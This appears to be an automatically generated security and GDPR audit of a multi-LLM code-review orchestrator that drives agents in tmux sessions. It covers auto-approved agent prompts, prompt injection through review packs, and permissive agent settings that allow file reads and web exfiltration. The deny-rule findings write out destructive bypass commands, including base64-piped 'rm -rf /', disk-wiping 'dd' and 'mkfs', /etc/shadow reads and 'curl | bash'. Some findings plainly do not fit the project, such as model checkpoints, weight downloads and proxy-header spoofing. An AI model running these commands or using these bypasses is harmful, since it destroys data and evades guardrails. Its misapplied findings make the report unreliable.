The installation process creates shared directories (`~/.config/agent-sessions/`, `~/.local/bin/`, `~/dev/codex-bridge/`) and configuration files without any tenant isolation. Multiple tenants using the same machine would share agent configurations, nudger scripts, and session state. The installer copies files globally without tenant-scoped paths.

The entire GodModeSkill system is designed as a single-user tool with no tenant isolation mechanisms. State files, agent configurations, review packs, planning documents, and git operations are all shared globally. The lineage quorum system has no tenant context. The pre-merge checklist, PR operations, and merge gates operate without tenant scoping.

**Perspective 1:** The README promotes the system as a tool for code review but contains no privacy policy, no disclosure of what data is processed, no information about data retention, and no user rights information. Users are not informed that their code will be sent to third-party AI providers, violating GDPR Articles 13 and 14 (right to be informed). **Perspective 2:** The system creates multiple files (planning docs, review findings, state files) but has no mention of backup encryption or backup data protection. If backups are created by the system or underlying OS, sensitive data in these files would be unprotected, violating GDPR Article 32 (security of processing). **Perspective 3:** The system processes sensitive data through multiple third-party providers but has no documented data breach notification procedure. GDPR Articles 33 and 34 require data controllers to notify supervisory authorities and affected individuals within 72 hours of becoming aware of a breach, but there is no process defined for detecting or reporting breaches. **Perspective 4:** The project documentation provides no contact information for privacy-related inquiries or a Data Protection Officer. GDPR Articles 37-39 require designation of a DPO for certain types of processing, and Article 13 requires providing contact information for privacy inquiries.

The multi-LLM tmux fleet uses shared state files (`~/.work/state.json`, `~/.work/agent-lru.json`) without tenant prefixes. If multiple tenants use the same system, agent LRU rotation, task IDs, and session state could leak across tenants. The `/work` orchestrator manages agents globally without tenant context.

**Perspective 1:** The multi-LLM orchestration system lacks any mention of audit logging for sensitive operations such as data access, file modifications, or API calls. Without audit trails, it is impossible to detect unauthorized data access or comply with GDPR Article 30 (records of processing activities) or right-to-audit requirements. **Perspective 2:** The system processes code, planning documents, and review findings but has no data classification scheme to distinguish between public, internal, confidential, or PII data. Without classification, sensitive data may be handled with inappropriate safeguards, violating data minimization principles (GDPR Article 5(1)(c)).

**Perspective 1:** The orchestrator references model names like 'gemini-3.1-pro-preview' and 'deepseek-v4-pro' without pinning to a specific commit hash or revision. Loading models from HuggingFace or similar registries without a pinned revision means the model weights could silently change between runs, introducing unpredictable behavior or backdoored weights. This is a supply chain risk where the model artifact is not immutable. **Perspective 2:** The orchestrator reads model configuration from files like '~/.config/agent-sessions/agents.json' and '~/.gemini/settings.json' which define model names, endpoints, and API keys. These configuration files are parsed without any integrity verification (checksum, signature, or schema validation). An attacker who modifies these files could redirect model loads to a malicious endpoint or substitute a compromised model artifact. The JSON is parsed with a standard parser, but there is no mechanism to detect tampering. **Perspective 3:** The orchestrator downloads model artifacts from URLs (e.g., HuggingFace, S3, HTTP) but there is no evidence of checksum or hash verification before loading. The INSTALL.md references cloning from GitHub and copying files, but the actual model loading pipeline does not verify the integrity of downloaded weights. Without hash verification, a man-in-the-middle attack or compromised CDN could serve malicious weights that execute arbitrary code during deserialization. **Perspective 4:** The orchestrator allows users to specify model names and paths via configuration files and slash commands. If a model serving endpoint accepts a model path or name as a user-supplied parameter without allowlisting, an attacker could load an arbitrary model artifact from an untrusted source. The code does not show an explicit allowlist for model paths, meaning any model name in the configuration could be loaded. **Perspective 5:** The orchestrator creates and stores fine-tuned model checkpoints (e.g., planning documents, code review outputs) but there is no provenance metadata attached to these artifacts. Without recording the base model, training data hash, and training configuration, it is impossible to verify the integrity or origin of a checkpoint. A compromised checkpoint could be substituted without detection. **Perspective 6:** The orchestrator loads prompt templates from files like '~/.gemini/GEMINI.md' and '~/.config/agent-sessions/agents.json' which define how models are prompted. These templates are loaded without integrity verification. An attacker who modifies a prompt template could alter model behavior without changing source code. However, the impact is limited because prompt templates are text files that do not execute code directly.

**Perspective 1:** The /work command orchestrates multi-LLM code review, git operations, and PR creation without any authentication or authorization checks. Any user who can invoke this slash command in Claude Code can trigger the full workflow, including destructive git operations and code changes. There is no user identity verification, session management, or access control before executing sensitive operations like git push, PR creation, and merge. **Perspective 2:** The pre-merge checklist allows any user to select option 3 ('Override and merge anyway') with a reason, bypassing all review gates. There is no authorization check on who can override, no audit trail enforcement, and no requirement for additional approval (e.g., second user sign-off) for the override path. This makes the entire multi-LLM review quorum bypassable by any user. **Perspective 3:** The /work command performs git operations (branch creation, commit, push, PR creation) using the local git credentials without validating session expiry, token validity, or scope. If a user's GitHub token is compromised or expired, the command will continue to operate without re-authentication. There is no check for token expiry before executing sensitive operations. **Perspective 4:** The minor-bug mode explicitly bypasses all LLM review gates. A user could intentionally classify a significant code change as a 'minor-bug' to avoid multi-LLM review. The only check is a soft prompt when the diff exceeds 50 lines or touches 3 files, which the user can dismiss by selecting option 2 ('Stay minor-bug'). There is no enforcement mechanism. **Perspective 5:** The /work command performs sensitive operations (code changes, git operations, PR creation, merge) without maintaining an audit trail of which user initiated which action. There is no logging of user identity, timestamps, or action types. This makes it impossible to detect or investigate unauthorized actions after the fact. **Perspective 6:** The /work command can be invoked repeatedly without any rate limiting, throttling, or abuse prevention. An attacker could trigger multiple concurrent workflows, potentially exhausting API quotas, creating excessive git branches/PRs, or overwhelming the CI/CD pipeline. There is no per-user or per-session rate limiting. **Perspective 7:** The task_id is derived from branch names or user input without validation. An attacker could inject special characters or path traversal sequences into task_id, potentially leading to arbitrary file writes or command injection when constructing file paths like 'planning/<task_id>.md' or git branch names. **Perspective 8:** The escape hatch '/work override "<reason>"' allows any user to skip the next quorum gate without any authorization check. The override is only 'recorded in the planning doc / PR comment for traceability' but there is no enforcement mechanism to prevent unauthorized overrides.

**Perspective 1:** The /work orchestrator manages long-lived tmux sessions for LLM agents (Codex, Gemini, OpenCode) but has no mechanism for session timeout, token expiry, or re-authentication. Agents remain authenticated indefinitely, creating a persistent attack surface if a machine is compromised. An attacker with filesystem access could reuse stale auth tokens/sessions. **Perspective 2:** LLM agent sessions (Codex, Gemini, OpenCode) are not bound to any client fingerprint (IP, device ID, or machine identifier). If an attacker gains access to the tmux session or the auth files, they can impersonate the agent without any additional verification. This is especially dangerous because the orchestrator auto-approves actions from these sessions. **Perspective 3:** When the orchestrator performs a peer-swap (e.g., kimi ⇄ deepseek) or LRU rotation, the old agent's session is not explicitly invalidated. The tmux session remains alive with its auth state, potentially allowing a compromised agent to continue operating outside the orchestrator's control. **Perspective 4:** The architecture allows multiple agent sessions (cdx-1, cdx-2, cdx-3) to share the same underlying ChatGPT/Google AI account. There is no mechanism to limit concurrent sessions per account, which could lead to account lockout, rate-limit exhaustion, or violation of provider ToS. **Perspective 5:** Auth tokens for Codex, Gemini, and OpenCode are stored in plaintext files (~/.codex/auth.json, ~/.gemini/oauth_creds.json, ~/.config/opencode/.env). The INSTALL.md instructs setting mode 600 on .env, but there is no encryption or OS-level keychain integration. Any user with filesystem access can steal these tokens. **Perspective 6:** If a user changes their ChatGPT/Google AI/OpenCode password, the old session tokens in the agent configs remain valid. There is no mechanism to detect credential changes or force re-authentication. An attacker with stale tokens can continue using the account. **Perspective 7:** The nudge scripts use `tmux set-buffer` and `tmux paste-buffer` to send prompts to agent sessions. If a prompt contains sensitive data (API keys, credentials, session tokens), these are stored in tmux paste buffers which persist across sessions and are accessible to any user who can attach to the tmux socket. **Perspective 8:** The orchestrator logs errors, popups, and destructive blocks, but does not log normal session activity (which agent reviewed what, when, what commands were auto-approved). Without an audit trail, it's impossible to detect session hijacking or unauthorized agent actions after the fact.

**Perspective 1:** The orchestrator automatically approves permission prompts from CLI tools (codex `y`, gemini `2`, opencode `Right Enter` for 'Allow always'). This means if a malicious prompt asks the AI to read credential files, the orchestrator will auto-approve the operation without user awareness. **Perspective 2:** The system stores API keys for Moonshot, DeepSeek, and other services without any mechanism for rotation, expiration, or revocation. If a key is compromised, there is no automated process to detect or rotate it. **Perspective 3:** The tmux sessions running AI agents are accessible to any user who can attach to them (`tmux attach -t <session>`). There is no authentication or access control on these sessions, which contain API keys, prompts, and potentially sensitive code. **Perspective 4:** The system logs destructive commands and approvals, but does not log when credential files are accessed. Without audit logging, credential exfiltration via the AI agents would go undetected.

**Perspective 1:** The /work orchestrator has no authentication mechanism. Any user who can invoke Claude Code can run the orchestrator with full access to all configured API keys, GitHub tokens, and file system. There is no concept of user roles, permissions, or audit logging for who triggered which operations. **Perspective 2:** The work orchestrator uses 'gh pr create' and 'gh pr merge' commands which have write access to GitHub repositories. While the pre-merge checklist asks for user confirmation, an attacker who compromises the orchestrator could bypass this by modifying the workflow script or directly calling gh commands.

**Perspective 1:** The /work orchestrator can auto-approve shell commands from reviewers (as described in the resilience section: 'Auto-approve with the right keystrokes'). This means the orchestrator can bypass user prompts for shell execution, which could be exploited if a reviewer agent is compromised or hallucinates a dangerous command. **Perspective 2:** The orchestrator's auto-approval mechanism has no rate limiting. A compromised or misbehaving agent could trigger hundreds of auto-approvals per second, potentially overwhelming the system or executing a rapid attack chain.

**Perspective 1:** The /work command orchestrates code reviews across multiple LLMs but has no mechanism to sanitize credentials from review packs or output files. If a codebase contains hardcoded secrets, the review process will expose those secrets to external LLM providers (Codex, Gemini, OpenCode). The XML packs sent to reviewers may contain sensitive code with embedded credentials. **Perspective 2:** The /work command sends code review packs to external LLM providers (OpenAI Codex, Google Gemini, Moonshot/DeepSeek via OpenCode). If any code in the repository contains hardcoded credentials, API keys, or secrets, those secrets are transmitted to third-party servers for processing. There is no mechanism to prevent this data exfiltration. **Perspective 3:** The /work command logs auto-approved bash commands to 'approvals.log' in the run directory. If a command contains sensitive arguments (e.g., API keys passed as command-line arguments, passwords in git commands), these secrets will be written to disk in plaintext. The log file has no documented access controls or retention limits. **Perspective 4:** The /work command performs git operations (branch, commit, push, PR) automatically. If the repository has any historical commits containing secrets (e.g., accidentally committed .env files, API keys in code), these secrets remain in the git history even if later removed. The system has no git history scanning or secret removal capability. **Perspective 5:** The system stores API keys (MOONSHOT_API_KEY, DEEPSEEK_API_KEY) in ~/.config/opencode/.env and OAuth credentials in ~/.gemini/oauth_creds.json without encryption at rest. While file permissions are set to 600, any process running as the user (including compromised LLM agents) can read these files. There is no integration with system keychains or encryption tools.

**Perspective 1:** The work orchestrator automatically approves safe shell commands (like 'cat findings.md') within ~15 seconds. This automated approval mechanism could be exploited if an attacker can craft a command that appears safe but has malicious side effects, or if the pattern matching is too permissive. **Perspective 2:** The workflow uses user-provided task_id and other parameters in file paths and commands. Without proper sanitization, a malicious user could inject path traversal sequences (../) or command injection characters to write files to arbitrary locations or execute unintended commands. **Perspective 3:** The /work command has no authentication mechanism. Any user who can interact with Claude Code can invoke /work with arbitrary parameters, potentially triggering destructive operations (within the limits of the deny policies) or accessing sensitive data through the review process. **Perspective 4:** The workflow uses shared state files (~/.work/state.json, ~/.work/agent-lru.json) without any user or session isolation. In a multi-user environment, one user's task could interfere with another's, or sensitive task information could leak between users. **Perspective 5:** The workflow passes review packs and findings between agents via tmux paste buffers and files in /tmp. This data may contain sensitive information (API keys, credentials, proprietary code) and is transmitted/stored without encryption. On a multi-user system, other users could potentially read this data. **Perspective 6:** The disagreement loop has a maximum of 3 rounds, but there's no overall timeout or circuit breaker for the entire workflow. A stuck agent or infinite loop in the orchestration could consume unlimited tokens and API calls.

**Perspective 1:** The `/work` command orchestrates multi-LLM review of code and planning documents without any privacy impact assessment (PIA) or data protection impact assessment (DPIA) as required by GDPR Article 35. The system processes potentially sensitive code without evaluating the risks to data subjects. **Perspective 2:** The system processes user code through multiple AI providers but provides no mechanism for users to request deletion of their data from those providers. GDPR Article 17 requires that data controllers facilitate the right to erasure ('right to be forgotten'), but there is no process for users to request deletion from OpenAI, Google, Moonshot, or DeepSeek.

**Perspective 1:** The pre-merge checklist (lines 130-150) asks Claude to self-evaluate whether it followed coding principles, architecture guidelines, and test requirements. This is a tautological check — the same model that wrote the code is asked to report whether it drifted. There is no independent verification mechanism. The comment 'Catches a lot of "I think it's done" moments' is misleading because the model has no incentive or mechanism to detect its own errors. **Perspective 2:** The resilience section (README lines 140-160) describes auto-approving permission prompts with keystrokes (codex 'y', gemini '2', opencode 'Right Enter' for 'Allow always'). This means any command the reviewer runs — including potentially malicious ones injected via the review pack — gets automatically approved. The 'approvals.log' only logs the command but does not prevent execution. An attacker who can influence the review pack content can execute arbitrary commands with auto-approval. **Perspective 3:** When a provider error occurs, the orchestrator creates a 'stub findings file ending ## DONE so the watcher exits fast and Claude takes over'. This means a failed review is silently converted into a completed review from the orchestrator's perspective. Claude then handles the failure, but the stub file could be mistaken for a real review if the error handling has any bugs. This creates a window where a failed review is treated as completed. **Perspective 4:** The self-consistency check (README lines 210-230) claims to detect hallucinations by grepping for quoted lines in cited files. However, the verification is whitespace-tolerant and only checks for the exact quoted line — a hallucinated finding about a non-existent file or wrong line number would still pass if the quoted line happens to exist somewhere in the file. The check does not verify that the finding's claim actually matches the code context. **Perspective 5:** The escape hatch '/work override "<reason>"' allows skipping the quorum gate with just a reason string. The comment says 'Recorded in the planning doc / PR comment for traceability' but there is no enforcement mechanism — the model is trusted to actually record it. An attacker or compromised prompt could use the override without leaving a trace. **Perspective 6:** The peer-swap mechanism (README lines 150-170) swaps a failed reviewer with another of the same lineage. However, if all agents of a lineage are failing (e.g., all Codex accounts rate-limited), the swap will keep trying until all are exhausted. The 'max 3 rounds' limit applies to disagreement loops, not to peer-swaps. An attacker could trigger repeated peer-swaps to exhaust all available agents. **Perspective 7:** The quorum requires 'at least one agent of each lineage' (codex + gemini + opencode). However, the agents.json configuration allows adding more agents of any type. An attacker who controls the agents.json file could add multiple codex agents and remove gemini/opencode agents, effectively bypassing the lineage diversity requirement. The system trusts the configuration without validation. **Perspective 8:** The pack truncation safety adds a <reviewer-instruction priority='critical'> telling reviewers not to rely on the truncated diff. However, different models may handle this instruction differently — some may ignore it entirely. There is no enforcement mechanism to ensure reviewers actually verify findings against the full code files rather than the truncated diff.

**Perspective 1:** The /work workflow trusts that the LLM agents in tmux sessions are the intended reviewers. There is no mechanism to verify the identity of the reviewer (e.g., cryptographic attestation of the model being used) or the integrity of the review process. A compromised tmux session could inject malicious findings or approve malicious code without detection. **Perspective 2:** The work-pack-build and work-converge scripts are Python-based but there is no requirements.txt, pyproject.toml, or any dependency manifest. The scripts likely import standard library modules, but there is no verification that these modules haven't been tampered with or replaced by malicious packages. Python's import system is vulnerable to dependency confusion attacks if any third-party packages are used. **Perspective 3:** The /work workflow generates review artifacts (findings files, XML packs, convergence results) but does not generate or attach an SBOM to these artifacts. There is no way to trace which versions of the orchestrator scripts, reviewer configurations, or dependencies were used to produce a given review result. This makes it impossible to audit the supply chain of the review process itself. **Perspective 4:** The review outputs (findings files, convergence results, planning documents) are not cryptographically signed. There is no way to verify the authenticity or integrity of these artifacts after they are generated. An attacker who gains access to the filesystem could modify review results to approve malicious code or reject legitimate changes.

The reviewer instructions specify writing findings to files but contain no data retention policy, no mechanism for deletion of sensitive data after review completion, and no consent tracking for the data being processed. Review findings may contain PII or proprietary code snippets that are stored indefinitely without a TTL or right-to-deletion mechanism, violating GDPR Articles 17 and 5(1)(e).

The document claims 'Do NOT attempt destructive shell ops — they're hard-blocked by the policy file' and references a deny policy. However, the same document instructs using write_file/replace tools which are 'auto-approved by auto_edit mode'. These tools can overwrite any file including system files, configuration files, and source code — achieving the same destructive outcomes as rm/sudo without triggering any policy checks. The policy only blocks shell commands, not the file-write tools that can do equivalent damage.

**Perspective 1:** The commandRegex patterns only match specific command names and simple patterns. An attacker could bypass these rules using: base64-encoded commands (echo 'cm0gLXJmIC8=' | base64 -d | bash), command substitution ($(rm -rf /)), shell variables (cmd='rm'; $cmd -rf /), or other shell obfuscation techniques. **Perspective 2:** The policy file itself has no mechanism to prevent unauthorized modification. If an attacker or malicious process can write to ~/.gemini/policies/, they could modify or delete these deny rules, removing all protections against destructive commands. **Perspective 3:** The policy file defines deny rules but has no mechanism for rate limiting or audit logging of denied attempts. An attacker could probe the system with many destructive commands without detection, potentially finding a bypass or timing attack vector. **Perspective 4:** The deny rules only cover shell commands. An attacker could use Python (os.system, subprocess), Node.js (child_process), Ruby (system, exec), or other scripting languages to execute destructive operations that bypass the shell command regex patterns.

**Perspective 1:** The deny rules use regex patterns that can be bypassed through command obfuscation techniques. For example, 'rm' can be executed via: '/bin/rm', 'rm -rf' with extra spaces, 'r\nm' with newline injection, or '$(which rm) -rf'. The regex patterns don't account for absolute paths, environment variable expansion, or shell metacharacters. A determined attacker can trivially bypass all deny rules. **Perspective 2:** The deny rule for 'docker exec ... (rm/chown/chmod)' only matches specific patterns. An attacker can bypass this by using alternative destructive commands inside containers: 'docker exec container_name bash -c "rm -rf /"', 'docker exec container_name dd if=/dev/zero of=/dev/sda', or 'docker exec container_name mkfs.ext4 /dev/sda1'. The regex is too narrow and misses the vast majority of destructive operations possible inside containers. **Perspective 3:** The 'write_file' and 'replace' deny rules only check the 'file_path' argument pattern, not the 'content' argument. An attacker can write arbitrary content to allowed paths (e.g., writing a cron job to /tmp/cronjob that gets executed by a system cron, or writing a malicious script to a user's home directory that gets sourced by their shell profile). The content validation gap allows injection of malicious payloads even when path restrictions are in place. **Perspective 4:** The deny rules for 'git push -f' and 'git push --force' can be bypassed using alternative force-push syntax: 'git push --force-with-lease', 'git push +branch_name', 'git push origin +HEAD', or 'git push --force-if-includes'. These alternative flags achieve the same destructive outcome (overwriting remote history) but are not blocked by the current regex patterns. **Perspective 5:** The deny rules block 'apt install', 'npm install', etc., but don't block alternative package managers or installation methods. An attacker can install packages via: 'pip install --user', 'go install', 'cargo install', 'gem install', 'snap install', 'flatpak install', or by downloading and running static binaries with 'curl | bash'. The blocked patterns are easily circumvented.

The write_file/replace deny rule only checks for absolute paths starting with `/etc`, `/usr`, `/var`, etc. However, it does not validate or sanitize proxy headers like `X-Forwarded-For` or `X-Real-IP`. If the Gemini CLI is behind a reverse proxy, an attacker could spoof their IP address by injecting these headers, potentially bypassing IP-based rate limiting or access controls that might be implemented elsewhere in the system.

**Perspective 1:** The write_file/replace deny rule only blocks writes to system paths (/etc, /usr, /var, etc.). It does not protect user data paths like ~/.ssh, ~/.gnupg, ~/.aws, ~/.config, or project-specific sensitive files. An attacker could overwrite SSH authorized_keys, AWS credentials, or other critical user files. **Perspective 2:** The write protection does not block writes to project-level configuration files like .env, .git/config, docker-compose.yml, or CI/CD configuration files. An attacker could modify these to inject malicious behavior.

The `defaultApprovalMode` is set to `auto_edit`, which automatically approves file-write operations without user confirmation. This could allow an attacker or malicious prompt to overwrite credential files, SSH keys, or authentication configuration without the user noticing.

The `defaultApprovalMode: auto_edit` setting allows the AI to write files without explicit user approval for each operation. This bypasses the user's ability to review and consent to what data is being written to files, potentially enabling silent exfiltration or modification of sensitive data without the user's knowledge or consent, violating GDPR Article 7 consent requirements.

The comment claims 'auto_edit' mode is safer than 'yolo' because it keeps 'one prompt-line of human/orchestrator oversight on shell'. However, file-write tools are 'auto-approved' with no validation. An attacker or compromised prompt could overwrite any file in the workspace without any security check. The 'oversight' only applies to shell commands, not file operations.

The 'defaultApprovalMode' is set to 'auto_edit', which means the Gemini agent can write and modify files without any user approval. While the documentation claims this is safer than 'yolo' mode, it still allows the agent to silently modify any file in the workspace. An attacker who compromises the agent's prompt could inject malicious code, modify security-critical files, or plant backdoors without any user interaction.

The 'defaultApprovalMode' is set to 'auto_edit', which allows the AI to automatically write and modify files without explicit user approval for each operation. While this is intentional for the orchestrator workflow, it significantly reduces the security barrier against accidental or malicious file modifications.

**Perspective 1:** The bash permission model allows `cat*`, `echo*`, `grep*`, and `awk*` commands without restriction. An attacker could use these to read credential files (e.g., `cat ~/.ssh/id_rsa`, `cat ~/.config/opencode/.env`, `grep -r API_KEY ~/`). The wildcard patterns are too broad and do not restrict file paths. **Perspective 2:** The `webfetch` and `websearch` permissions are set to `allow`, enabling the AI agent to make arbitrary HTTP requests and search the web. An attacker could use this to exfiltrate credentials, API keys, or other secrets discovered during code review to an external server. **Perspective 3:** The `external_directory` permission is set to `allow`, which permits the AI agent to read files outside the project directory. Combined with the permissive bash commands, this enables reading credential files from ~/.ssh/, ~/.config/, and other sensitive locations.

**Perspective 1:** The opencode permission configuration allows unrestricted `webfetch` and `websearch` operations. An attacker who compromises an opencode agent session can use these permissions to make arbitrary HTTP requests to internal network services (e.g., cloud metadata endpoints, internal APIs, database interfaces). The `external_directory: allow` permission further enables reading from arbitrary filesystem paths, which combined with webfetch creates a powerful SSRF + file read exfiltration channel. **Perspective 2:** The `codesearch: allow` permission permits arbitrary code search operations. While primarily a code search tool, this could be abused to probe internal services or read sensitive files if the search tool supports network-based searches or if the permission is broader than intended.

The bash permission block uses a catch-all `"*": "ask"` pattern after allowing many specific commands. However, several allowed patterns like `echo*`, `for *`, `while *`, `awk*`, and `sed -n*` can be abused to execute arbitrary commands. The `echo*` pattern allows `echo $(malicious_command)` which executes shell injection. The `for *` and `while *` patterns allow arbitrary loop bodies. Combined with `external_directory: allow` and `read: allow`, an attacker can read sensitive files and exfiltrate them via shell injection in echo or awk.

**Perspective 1:** The bash permission allowlist uses glob patterns like `echo*`, `for *`, `while *`, `awk*`, and `sed -n*` that match any arguments. The `echo*` pattern allows `echo $(cat /etc/shadow)` which executes command substitution. The `for *` pattern allows `for f in $(cat /etc/passwd); do ...` which executes arbitrary commands. The `awk*` pattern allows `awk 'BEGIN {system("cat /etc/shadow")}'` which executes system commands. These patterns effectively bypass the intended read-only restriction. **Perspective 2:** The git command patterns like `git status*`, `git log*`, `git diff*`, `git show*`, `git branch*`, `git remote*`, `git rev-parse*`, `git ls-files*`, and `git blame*` use wildcards that match any arguments. An attacker could inject commands via crafted branch names or arguments containing shell metacharacters. For example, `git branch -a; cat /etc/shadow` would match `git branch*` and execute the injected command.

**Perspective 1:** The opencode permissions snippet allows 'cat*', 'echo*', 'grep*', and 'awk*' commands without restriction. These commands can be used to read credential files, environment variables, and API keys from the filesystem. The 'cat*' pattern allows reading any file, including ~/.config/opencode/.env which contains API keys. The 'echo*' pattern can be used to output environment variables containing secrets. **Perspective 2:** The opencode configuration allows 'external_directory' access and 'webfetch' without restrictions. Combined with the permissive bash allow-list, this creates a path for exfiltration of credentials stored in ~/.config/opencode/.env (which contains MOONSHOT_API_KEY and DEEPSEEK_API_KEY as mentioned in INSTALL.md). The .env file is set to mode 600, but the opencode agent can still read it via 'cat ~/.config/opencode/.env'.

**Perspective 1:** The permission config sets 'external_directory': 'allow' which grants the AI agent unrestricted read/write access to any directory outside the workspace. Combined with 'read': 'allow' and 'edit': 'allow', this means the agent can read and modify any file on the filesystem. The comment claims this is 'required so reviewers can read /tmp/work-* packs and write findings' but provides no path restriction, allowing access to /etc/passwd, SSH keys, and any other sensitive file. **Perspective 2:** The config sets 'websearch': 'allow' and 'webfetch': 'allow' with no URL allowlist, rate limiting, or content filtering. An attacker can use these permissions to exfiltrate data to external servers, download malicious content, or perform SSRF attacks against internal services. The comment provides no justification for why unrestricted web access is needed.

The opencode configuration grants `allow` to `external_directory`, `websearch`, `webfetch`, `codesearch`, `skill`, and `question` permissions. The `external_directory: allow` permission is particularly dangerous as it allows the LLM agent to read and write files outside the workspace, including /tmp/work-* packs. Combined with `bash: { "*": "ask" }`, this creates a broad attack surface where a compromised or malicious LLM agent could access sensitive files or exfiltrate data.

The opencode configuration grants 'allow' to both 'websearch' and 'webfetch' permissions. An attacker or compromised agent can trigger unlimited external API calls (e.g., search engine queries, web page fetches) that may incur per-request costs. Without rate limiting or budget controls, a small number of malicious requests could generate significant charges from third-party search/API providers.

The opencode configuration allows shared bash commands and file operations without any tenant isolation mechanism. The permission model uses allow/ask patterns but does not enforce tenant-scoped keys or namespaces. If multiple tenants share the same opencode instance, cache entries, state files, and session data could leak across tenant boundaries.

**Perspective 1:** The `external_directory` permission is set to `allow` globally. This permits the agent to read and write files outside the workspace directory, including system paths like /tmp and potentially /etc, /var, etc. An attacker or compromised agent could exfiltrate sensitive data or modify system files. **Perspective 2:** Both `websearch` and `webfetch` are set to `allow`. This permits the agent to make arbitrary HTTP requests to external services, which could be used for data exfiltration or SSRF attacks if the agent is compromised.

The 'external_directory' permission is set to 'allow', enabling agents to read files from any directory outside the workspace. An attacker could craft prompts that cause agents to read large files from /tmp/work-* packs or other directories, triggering expensive LLM processing on arbitrarily large inputs. This bypasses input size limits and can inflate token consumption without bound.

The opencode configuration allows `websearch` and `webfetch` permissions. These tools can be used by the LLM agent to send data to third-party services. If the agent is reviewing code or data containing secrets, PII, or internal architecture details, it could exfiltrate this data via search queries or fetch requests to attacker-controlled endpoints. This is a legitimate channel for data exfiltration through a third-party integration.

The `external_directory: allow` permission grants the LLM agent read access to any directory outside the workspace. An agent could read sensitive files (SSH keys, cloud credentials, .env files, database configs) and include their contents in review findings, which are then written to /tmp/work-* directories and potentially exposed to other agents or logged. This creates a data exfiltration path through the review pipeline.

The bash permission block uses a catch-all `"*": "ask"` pattern, but many specific commands like `cat*`, `echo*`, `sed -n*`, `awk*`, `for *`, `while *` are pre-allowed. This effectively allows arbitrary command execution with minimal prompting, as an attacker could craft a command that matches an allowed prefix (e.g., `cat /etc/shadow`).

The bash allowlist includes 'echo*' and 'sed -n*' which are listed as 'allow' (auto-approved). However, echo can write to files (echo 'malicious' > file) and sed can modify files in-place. The comment claims these are 'read-only commands' but echo is not read-only. An attacker can use echo to overwrite any file the agent has write access to, bypassing the 'ask' permission for other write commands.

ROOT CAUSE: The entire installation process is designed as a manual copy-paste workflow with no integrity verification pipeline. The installer prompt instructs Claude to clone, copy, and configure files without any checksum verification, signature validation, or SBOM generation. This is not a missing line fix — the entire install paradigm lacks a security verification layer. The INSTALL.md defines a 13-step installation process where Claude Code clones a repo, copies binaries to PATH, merges configuration snippets, and creates credential files — all without a single integrity check. There's no checksum verification after git clone, no GPG signature validation on artifacts, no SBOM generation, and no integrity check when merging settings snippets. The architecture treats installation as a 'just copy files' operation rather than a 'verify then deploy' pipeline. Individual patches to add 'verify checksum after clone' or 'add SBOM generation' would each address one symptom, but the root cause is the absence of a verification layer in the install architecture. This architectural issue produced 11 individual findings that cannot be resolved with line-by-line patches.

ROOT CAUSE: The /work orchestrator constructs shell commands, file paths, git commit messages, and PR descriptions by directly interpolating user-provided strings (task descriptions, branch names, reviewer findings) without any centralized sanitization layer. Each instance is a different code path that independently fails to sanitize input — there's no shared sanitization function or validation gateway. The work.md spec defines multiple places where user-provided strings flow into dangerous operations: task_id from branch names goes into file paths and shell commands, task descriptions go into git commit messages and PR descriptions, reviewer findings go into PR descriptions. Each of these 7 instances is a separate code path that independently constructs strings without sanitization. The architectural problem is that there's no single function or module that all these paths call to sanitize input. Individual patches to 'sanitize task_id here' or 'escape commit messages there' would leave other paths vulnerable and create maintenance burden. This architectural issue produced 7 individual findings that cannot be resolved with line-by-line patches.

ROOT CAUSE: The orchestrator logs and transmits full context (git diffs, error messages, command arguments, agent context) without any redaction layer. The architecture treats all operational data as safe to log and transmit, with no awareness that these data streams may contain secrets. The work.md spec defines multiple logging and transmission paths: git diffs pushed to remote, PR descriptions containing full reviewer findings, error retry logs capturing sensitive error context, approvals log recording bash commands, destructive blocks log capturing command context, and work status displaying agent context. Each of these 6 instances is a separate data flow that outputs operational data without redacting secrets. The architectural problem is that there's no centralized redaction function that all these paths call before outputting data. Individual patches to 'add secret scan to pre-push hook' or 'strip sensitive headers from error logs' would each address one output path but miss others. This architectural issue produced 6 individual findings that cannot be resolved with line-by-line patches.

ROOT CAUSE: The OpenCode permission configuration uses a blanket 'allow' policy for most permissions (websearch, webfetch, external_directory, codesearch, skill, question) and a dangerously permissive bash allowlist. This is not a misconfiguration of individual permissions — the entire permission model is designed for maximum convenience with minimal security, treating all capabilities as equally safe. The opencode.snippet.json sets 6 permissions to 'allow' (websearch, webfetch, external_directory, codesearch, skill, question) and includes dangerous bash patterns like 'echo*', 'awk*', 'sed -n*', 'for *', 'while *' in the allowlist. The architectural problem is that the permission model has no concept of least privilege — it grants all capabilities by default and only restricts specific dangerous commands. Individual patches to 'restrict websearch to specific domains' or 'remove echo from allowlist' would each address one permission but the underlying architecture would still be permissive-by-default. The catch-all '*': 'ask' rule at the bottom creates a false sense of security because users will fatigue-approve prompts. This architectural issue produced 6 individual findings that cannot be resolved with line-by-line patches.

ROOT CAUSE: The installation process has no dependency management — it clones repos at HEAD, copies binaries without version pinning, installs Python scripts without requirements.txt, and stores credentials in plaintext. The architecture treats all dependencies as 'just get the latest' with no versioning, integrity, or credential management. The INSTALL.md defines 5 dependency-related operations: git clone fetches latest commit (unpinned), post-install scripts execute arbitrary shell commands, Python scripts (work-pack-build, work-converge) have no pinned requirements, API keys stored in plaintext .env with mode 600, and Codex CLI config sets unrestricted network access. The architectural problem is that there's no dependency management system — no package.json/requirements.txt with pinned versions, no credential storage beyond plaintext files, no network access control. Individual patches to 'pin git clone to a commit' or 'add requirements.txt' would each address one dependency but the architecture would still lack a unified dependency management approach. This architectural issue produced 5 individual findings that cannot be resolved with line-by-line patches.

ROOT CAUSE: The OpenCode permission model grants excessive API-level permissions (websearch, webfetch, external_directory, bash with wildcards) without any access control or rate limiting. The architecture treats all API calls as equally safe, with no concept of scoped access or least privilege. The opencode.snippet.json grants 5 API-level permissions without restriction: websearch and webfetch allowed for any domain, external_directory allows reading/writing any path outside workspace, task permission set to 'ask' but bypassable via bash, bash allowlist includes echo and sed (which can write files), and a wildcard bash rule allows any command with user prompt. The architectural problem is that there's no access control layer — no domain allowlists for web access, no path restrictions for file access, no command categorization for bash. Individual patches to 'restrict websearch to specific domains' or 'remove echo from allowlist' would each address one API but the architecture would still lack a unified access control system. This architectural issue produced 5 individual findings that cannot be resolved with line-by-line patches.

